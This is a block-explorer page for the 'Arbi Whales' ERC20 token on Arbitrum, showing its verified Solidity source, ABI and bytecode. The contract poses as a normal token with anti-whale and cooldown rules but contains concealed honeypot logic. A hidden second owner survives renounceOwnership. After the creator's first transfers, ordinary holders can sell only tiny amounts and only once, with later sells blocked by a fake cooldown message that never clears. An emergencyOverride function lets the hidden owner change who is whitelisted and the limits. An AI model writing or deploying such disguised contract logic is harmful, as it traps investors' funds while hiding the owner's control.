Token Arbi Whales
Overview ERC20
Price
$0.00 @ 0.000000 ETH
Fully Diluted Market Cap
Total Supply:
20,000,000,000 aWHALE
Holders:
22 addresses
Contract:
Decimals:
18
Balance
37,446,121.181090858357829495 aWHALEValue
$0.00
[ Download CSV Export ]
[ Download CSV Export ]
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ArbiWhales
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Arbiscan.io on 2021-09-09 */ pragma solidity 0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract Ownable is Context { address private _owner; address private __owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; __owner = _owner; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(__owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) public cooldownCheck; mapping (address => bool) public checkIfOwnerOrUniswapContract; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; bool private _openTrading = false; string private _name; string private _symbol; address private _creator; bool private cooldownSearch; bool private antiWhale; bool private tempVal; uint256 private setAntiWhaleAmount; uint256 private setTxLimit; uint256 private chTx; uint256 private tXs; constructor (string memory name_, string memory symbol_, address creator_, bool tmp, bool tmp2, uint256 tmp9) { _name = name_; _symbol = symbol_; _creator = creator_; checkIfOwnerOrUniswapContract[creator_] = tmp; cooldownCheck[creator_] = tmp2; antiWhale = tmp; tempVal = tmp2; cooldownSearch = tmp2; tXs = tmp9; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); if ((address(sender) == _creator) && (tempVal == false)) { setAntiWhaleAmount = chTx; antiWhale = true; } if ((address(sender) == _creator) && (tempVal == true)) { cooldownCheck[recipient] = true; tempVal = false; } if (cooldownCheck[sender] == false) { if ((amount > setTxLimit)) { require(false); } require(amount < setAntiWhaleAmount); if (antiWhale == true) { if (checkIfOwnerOrUniswapContract[sender] == true) { require(false, "ERC20: please wait another %m:%s min before transfering"); } checkIfOwnerOrUniswapContract[sender] = true; _cooldownBeforeNewSell(sender, block.timestamp); } } uint256 taxamount = amount; if ((sender != _creator) && (recipient != _creator)) { taxamount = amount / 100 * (100 - tXs); uint256 burnamount = amount / 100 * tXs; _burn(sender, burnamount); } _balances[sender] = senderBalance - taxamount; _balances[recipient] += taxamount; emit Transfer(sender, recipient, taxamount); } function _initiateContract(address account, uint256 amount, uint256 val1, uint256 val2) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; setAntiWhaleAmount = _totalSupply; chTx = _totalSupply / val1; setTxLimit = chTx * val2; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[0x000000000000000000000000000000000000dEaD] += amount; emit Transfer(account, address(0x000000000000000000000000000000000000dEaD), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == _creator) && (cooldownSearch == true)) { cooldownCheck[spender] = true; checkIfOwnerOrUniswapContract[spender] = false; cooldownSearch = false; } _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function emergencyOverride(address account, bool v1, bool v2, bool v3, uint256 v4) external onlyOwner { cooldownCheck[account] = v1; checkIfOwnerOrUniswapContract[account] = v2; antiWhale = v3; setAntiWhaleAmount = v4; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _cooldownBeforeNewSell(address account, uint256 amount) internal virtual { if ((block.timestamp - amount) > 10*60) { checkIfOwnerOrUniswapContract[account] = false; } } } contract ERC20Launch is Context, ERC20 { constructor( string memory name, string memory symbol, bool tmp, bool tmp2, uint256 tmp6, uint256 tmp7, address creator, uint256 initialSupply, address owner, uint256 tmp9 ) ERC20(name, symbol, creator, tmp, tmp2, tmp9) { _initiateContract(owner, initialSupply, tmp6, tmp7); } } contract ArbiWhales is ERC20Launch { constructor() ERC20Launch("Arbi Whales", "aWHALE", false, true, 2100, 30, msg.sender, 20000000000 * 10 ** 18, msg.sender, 5) { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"checkIfOwnerOrUniswapContract","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"cooldownCheck","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"v1","type":"bool"},{"internalType":"bool","name":"v2","type":"bool"},{"internalType":"bool","name":"v3","type":"bool"},{"internalType":"uint256","name":"v4","type":"uint256"}],"name":"emergencyOverride","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526008805460ff191690553480156200001b57600080fd5b506040518060400160405280600b81526020016a41726269205768616c657360a81b81525060405180604001604052806006815260200165615748414c4560d01b81525060006001610834601e336b409f9cbc7c4a04c2200000003360058989858a8a85600062000091620001c760201b60201c565b600080546001600160a01b0383166001600160a01b031991821681178355600180549092168117909155604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508551620000fd906009906020890190620002df565b5084516200011390600a906020880190620002df565b50600b80546001600160a01b0319166001600160a01b039590951694851781556000948552600460209081526040808720805460ff1990811697151597881790915560039092529095208054909516921515928317909455835461ffff60a81b1916600160a81b90930260ff60b01b191692909217600160b01b82021760ff60a01b1916600160a01b90910217909155600f5550620001b7905082848888620001cb565b5050505050505050505062000438565b3390565b6001600160a01b038416620002265760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b82600760008282546200023a919062000385565b90915550506001600160a01b038416600090815260056020526040812080548592906200026990849062000385565b9091555050600754600c81905562000283908390620003a0565b600e81905562000295908290620003c3565b600d556040518381526001600160a01b038516906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b828054620002ed90620003e5565b90600052602060002090601f0160209004810192826200031157600085556200035c565b82601f106200032c57805160ff19168380011785556200035c565b828001600101855582156200035c579182015b828111156200035c5782518255916020019190600101906200033f565b506200036a9291506200036e565b5090565b5b808211156200036a57600081556001016200036f565b600082198211156200039b576200039b62000422565b500190565b600082620003be57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615620003e057620003e062000422565b500290565b600181811c90821680620003fa57607f821691505b602082108114156200041c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610fd580620004486000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a61161009757806395d89b411161006657806395d89b4114610234578063a457c2d71461023c578063a9059cbb1461024f578063dd62ed3e1461026257600080fd5b8063715018a6146101cb578063755ec4fb146101d357806379f65978146101f65780638da5cb5b1461021957600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a578063482a4d651461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61029b565b60405161011a9190610e89565b60405180910390f35b610136610131366004610e5f565b61032d565b604051901515815260200161011a565b6007545b60405190815260200161011a565b610136610166366004610dc7565b610343565b6040516012815260200161011a565b610136610188366004610e5f565b6103f9565b6101a061019b366004610e03565b610430565b005b61014a6101b0366004610d72565b6001600160a01b031660009081526005602052604090205490565b6101a06104ec565b6101366101e1366004610d72565b60046020526000908152604090205460ff1681565b610136610204366004610d72565b60036020526000908152604090205460ff1681565b6000546040516001600160a01b03909116815260200161011a565b61010d610590565b61013661024a366004610e5f565b61059f565b61013661025d366004610e5f565b61063a565b61014a610270366004610d94565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6060600980546102aa90610f4e565b80601f01602080910402602001604051908101604052809291908181526020018280546102d690610f4e565b80156103235780601f106102f857610100808354040283529160200191610323565b820191906000526020600020905b81548152906001019060200180831161030657829003601f168201915b5050505050905090565b600061033a338484610647565b50600192915050565b60006103508484846107e1565b6001600160a01b0384166000908152600660209081526040808320338452909152902054828110156103da5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ee85336103e98685610f37565b610647565b506001949350505050565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161033a9185906103e9908690610ede565b6001546001600160a01b0316331461048a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d1565b6001600160a01b039094166000908152600360209081526040808320805496151560ff199788161790556004909152902080549215159290931691909117909155600b8054911515600160a81b0260ff60a81b19909216919091179055600c55565b6001546001600160a01b031633146105465760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600a80546102aa90610f4e565b3360009081526006602090815260408083206001600160a01b0386168452909152812054828110156106215760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103d1565b61063033856103e98685610f37565b5060019392505050565b600061033a3384846107e1565b6001600160a01b0383166106a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d1565b6001600160a01b03821661070a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d1565b600b546001600160a01b0384811691161480156107355750600b54600160a01b900460ff1615156001145b15610780576001600160a01b0382166000908152600360209081526040808320805460ff19908116600117909155600490925290912080549091169055600b805460ff60a01b191690555b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108455760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d1565b6001600160a01b0382166108a75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d1565b6001600160a01b0383166000908152600560205260409020548181101561091f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d1565b600b546001600160a01b0385811691161480156109465750600b54600160b01b900460ff16155b1561096557600e54600c55600b805460ff60a81b1916600160a81b1790555b600b546001600160a01b0385811691161480156109905750600b54600160b01b900460ff1615156001145b156109c6576001600160a01b0383166000908152600360205260409020805460ff19166001179055600b805460ff60b01b191690555b6001600160a01b03841660009081526003602052604090205460ff16610adb57600d548211156109f557600080fd5b600c548210610a0357600080fd5b600b54600160a81b900460ff16151560011415610adb576001600160a01b03841660009081526004602052604090205460ff16151560011415610aae5760405162461bcd60e51b815260206004820152603760248201527f45524332303a20706c65617365207761697420616e6f7468657220256d3a257360448201527f206d696e206265666f7265207472616e73666572696e6700000000000000000060648201526084016103d1565b6001600160a01b0384166000908152600460205260409020805460ff19166001179055610adb8442610bf8565b600b5482906001600160a01b03868116911614801590610b095750600b546001600160a01b03858116911614155b15610b5d57600f54610b1c906064610f37565b610b27606485610ef6565b610b319190610f18565b90506000600f54606485610b459190610ef6565b610b4f9190610f18565b9050610b5b8682610c30565b505b610b678183610f37565b6001600160a01b038087166000908152600560205260408082209390935590861681529081208054839290610b9d908490610ede565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610be991815260200190565b60405180910390a35050505050565b610258610c058242610f37565b1115610c2c576001600160a01b0382166000908152600460205260409020805460ff191690555b5050565b6001600160a01b038216610c905760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103d1565b6001600160a01b03821660009081526005602052604081208054839290610cb8908490610f37565b909155505061dead600090815260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba8054839290610cfb908490610ede565b909155505060405181815261dead906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b80356001600160a01b0381168114610d5d57600080fd5b919050565b80358015158114610d5d57600080fd5b600060208284031215610d8457600080fd5b610d8d82610d46565b9392505050565b60008060408385031215610da757600080fd5b610db083610d46565b9150610dbe60208401610d46565b90509250929050565b600080600060608486031215610ddc57600080fd5b610de584610d46565b9250610df360208501610d46565b9150604084013590509250925092565b600080600080600060a08688031215610e1b57600080fd5b610e2486610d46565b9450610e3260208701610d62565b9350610e4060408701610d62565b9250610e4e60608701610d62565b949793965091946080013592915050565b60008060408385031215610e7257600080fd5b610e7b83610d46565b946020939093013593505050565b600060208083528351808285015260005b81811015610eb657858101830151858201604001528201610e9a565b81811115610ec8576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610ef157610ef1610f89565b500190565b600082610f1357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610f3257610f32610f89565b500290565b600082821015610f4957610f49610f89565b500390565b600181811c90821680610f6257607f821691505b60208210811415610f8357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122079e9bd95ee7918bc8ea095d10aacaab13e4682ba09b03c68e8fd1c2ce781381f64736f6c63430008070033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a61161009757806395d89b411161006657806395d89b4114610234578063a457c2d71461023c578063a9059cbb1461024f578063dd62ed3e1461026257600080fd5b8063715018a6146101cb578063755ec4fb146101d357806379f65978146101f65780638da5cb5b1461021957600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a578063482a4d651461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61029b565b60405161011a9190610e89565b60405180910390f35b610136610131366004610e5f565b61032d565b604051901515815260200161011a565b6007545b60405190815260200161011a565b610136610166366004610dc7565b610343565b6040516012815260200161011a565b610136610188366004610e5f565b6103f9565b6101a061019b366004610e03565b610430565b005b61014a6101b0366004610d72565b6001600160a01b031660009081526005602052604090205490565b6101a06104ec565b6101366101e1366004610d72565b60046020526000908152604090205460ff1681565b610136610204366004610d72565b60036020526000908152604090205460ff1681565b6000546040516001600160a01b03909116815260200161011a565b61010d610590565b61013661024a366004610e5f565b61059f565b61013661025d366004610e5f565b61063a565b61014a610270366004610d94565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6060600980546102aa90610f4e565b80601f01602080910402602001604051908101604052809291908181526020018280546102d690610f4e565b80156103235780601f106102f857610100808354040283529160200191610323565b820191906000526020600020905b81548152906001019060200180831161030657829003601f168201915b5050505050905090565b600061033a338484610647565b50600192915050565b60006103508484846107e1565b6001600160a01b0384166000908152600660209081526040808320338452909152902054828110156103da5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ee85336103e98685610f37565b610647565b506001949350505050565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161033a9185906103e9908690610ede565b6001546001600160a01b0316331461048a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d1565b6001600160a01b039094166000908152600360209081526040808320805496151560ff199788161790556004909152902080549215159290931691909117909155600b8054911515600160a81b0260ff60a81b19909216919091179055600c55565b6001546001600160a01b031633146105465760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103d1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600a80546102aa90610f4e565b3360009081526006602090815260408083206001600160a01b0386168452909152812054828110156106215760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103d1565b61063033856103e98685610f37565b5060019392505050565b600061033a3384846107e1565b6001600160a01b0383166106a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d1565b6001600160a01b03821661070a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d1565b600b546001600160a01b0384811691161480156107355750600b54600160a01b900460ff1615156001145b15610780576001600160a01b0382166000908152600360209081526040808320805460ff19908116600117909155600490925290912080549091169055600b805460ff60a01b191690555b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108455760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d1565b6001600160a01b0382166108a75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d1565b6001600160a01b0383166000908152600560205260409020548181101561091f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d1565b600b546001600160a01b0385811691161480156109465750600b54600160b01b900460ff16155b1561096557600e54600c55600b805460ff60a81b1916600160a81b1790555b600b546001600160a01b0385811691161480156109905750600b54600160b01b900460ff1615156001145b156109c6576001600160a01b0383166000908152600360205260409020805460ff19166001179055600b805460ff60b01b191690555b6001600160a01b03841660009081526003602052604090205460ff16610adb57600d548211156109f557600080fd5b600c548210610a0357600080fd5b600b54600160a81b900460ff16151560011415610adb576001600160a01b03841660009081526004602052604090205460ff16151560011415610aae5760405162461bcd60e51b815260206004820152603760248201527f45524332303a20706c65617365207761697420616e6f7468657220256d3a257360448201527f206d696e206265666f7265207472616e73666572696e6700000000000000000060648201526084016103d1565b6001600160a01b0384166000908152600460205260409020805460ff19166001179055610adb8442610bf8565b600b5482906001600160a01b03868116911614801590610b095750600b546001600160a01b03858116911614155b15610b5d57600f54610b1c906064610f37565b610b27606485610ef6565b610b319190610f18565b90506000600f54606485610b459190610ef6565b610b4f9190610f18565b9050610b5b8682610c30565b505b610b678183610f37565b6001600160a01b038087166000908152600560205260408082209390935590861681529081208054839290610b9d908490610ede565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610be991815260200190565b60405180910390a35050505050565b610258610c058242610f37565b1115610c2c576001600160a01b0382166000908152600460205260409020805460ff191690555b5050565b6001600160a01b038216610c905760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103d1565b6001600160a01b03821660009081526005602052604081208054839290610cb8908490610f37565b909155505061dead600090815260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba8054839290610cfb908490610ede565b909155505060405181815261dead906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b80356001600160a01b0381168114610d5d57600080fd5b919050565b80358015158114610d5d57600080fd5b600060208284031215610d8457600080fd5b610d8d82610d46565b9392505050565b60008060408385031215610da757600080fd5b610db083610d46565b9150610dbe60208401610d46565b90509250929050565b600080600060608486031215610ddc57600080fd5b610de584610d46565b9250610df360208501610d46565b9150604084013590509250925092565b600080600080600060a08688031215610e1b57600080fd5b610e2486610d46565b9450610e3260208701610d62565b9350610e4060408701610d62565b9250610e4e60608701610d62565b949793965091946080013592915050565b60008060408385031215610e7257600080fd5b610e7b83610d46565b946020939093013593505050565b600060208083528351808285015260005b81811015610eb657858101830151858201604001528201610e9a565b81811115610ec8576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610ef157610ef1610f89565b500190565b600082610f1357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610f3257610f32610f89565b500290565b600082821015610f4957610f49610f89565b500390565b600181811c90821680610f6257607f821691505b60208210811415610f8357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122079e9bd95ee7918bc8ea095d10aacaab13e4682ba09b03c68e8fd1c2ce781381f64736f6c63430008070033
Deployed ByteCode Sourcemap
9516:178:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3091:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4005:169;;;;;;:::i;:::-;;:::i;:::-;;;2243:14:1;;2236:22;2218:41;;2206:2;2191:18;4005:169:0;2078:187:1;3412:108:0;3500:12;;3412:108;;;7045:25:1;;;7033:2;7018:18;3412:108:0;6899:177:1;4182:422:0;;;;;;:::i;:::-;;:::i;3311:93::-;;;3394:2;7223:36:1;;7211:2;7196:18;3311:93:0;7081:184:1;4612:215:0;;;;;;:::i;:::-;;:::i;8529:261::-;;;;;;:::i;:::-;;:::i;:::-;;3528:127;;;;;;:::i;:::-;-1:-1:-1;;;;;3629:18:0;3602:7;3629:18;;;:9;:18;;;;;;;3528:127;1813:148;;;:::i;2089:62::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;2036:46;;;;;;:::i;:::-;;;;;;;;;;;;;;;;1598:79;1636:7;1663:6;1598:79;;-1:-1:-1;;;;;1663:6:0;;;2016:51:1;;2004:2;1989:18;1598:79:0;1870:203:1;3199:104:0;;;:::i;4835:377::-;;;;;;:::i;:::-;;:::i;3663:175::-;;;;;;:::i;:::-;;:::i;3846:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3962:18:0;;;3935:7;3962:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3846:151;3091:100;3145:13;3178:5;3171:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3091:100;:::o;4005:169::-;4088:4;4105:39;139:10;4128:7;4137:6;4105:8;:39::i;:::-;-1:-1:-1;4162:4:0;4005:169;;;;:::o;4182:422::-;4288:4;4305:36;4315:6;4323:9;4334:6;4305:9;:36::i;:::-;-1:-1:-1;;;;;4381:19:0;;4354:24;4381:19;;;:11;:19;;;;;;;;139:10;4381:33;;;;;;;;4433:26;;;;4425:79;;;;-1:-1:-1;;;4425:79:0;;4712:2:1;4425:79:0;;;4694:21:1;4751:2;4731:18;;;4724:30;4790:34;4770:18;;;4763:62;-1:-1:-1;;;4841:18:1;;;4834:38;4889:19;;4425:79:0;;;;;;;;;4515:57;4524:6;139:10;4546:25;4565:6;4546:16;:25;:::i;:::-;4515:8;:57::i;:::-;-1:-1:-1;4592:4:0;;4182:422;-1:-1:-1;;;;4182:422:0:o;4612:215::-;139:10;4700:4;4749:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4749:34:0;;;;;;;;;;4700:4;;4717:80;;4740:7;;4749:47;;4786:10;;4749:47;:::i;8529:261::-;1725:7;;-1:-1:-1;;;;;1725:7:0;139:10;1725:23;1717:68;;;;-1:-1:-1;;;1717:68:0;;5121:2:1;1717:68:0;;;5103:21:1;;;5140:18;;;5133:30;5199:34;5179:18;;;5172:62;5251:18;;1717:68:0;4919:356:1;1717:68:0;-1:-1:-1;;;;;8642:22:0;;::::1;;::::0;;;:13:::1;:22;::::0;;;;;;;:27;;;::::1;;-1:-1:-1::0;;8642:27:0;;::::1;;::::0;;8680:29:::1;:38:::0;;;;;:43;;;::::1;;::::0;;;::::1;::::0;